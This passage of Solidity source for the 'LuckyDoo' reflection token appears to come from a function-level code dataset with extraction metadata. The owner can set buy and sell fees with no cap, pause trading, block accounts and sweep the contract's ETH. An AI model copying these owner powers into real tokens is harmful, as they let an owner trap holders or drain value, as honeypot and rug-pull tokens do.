uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | setBaseFeesOnBuy | function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
| // Base fees | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
11245,
11668
]
} | 1,308 |
||
LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
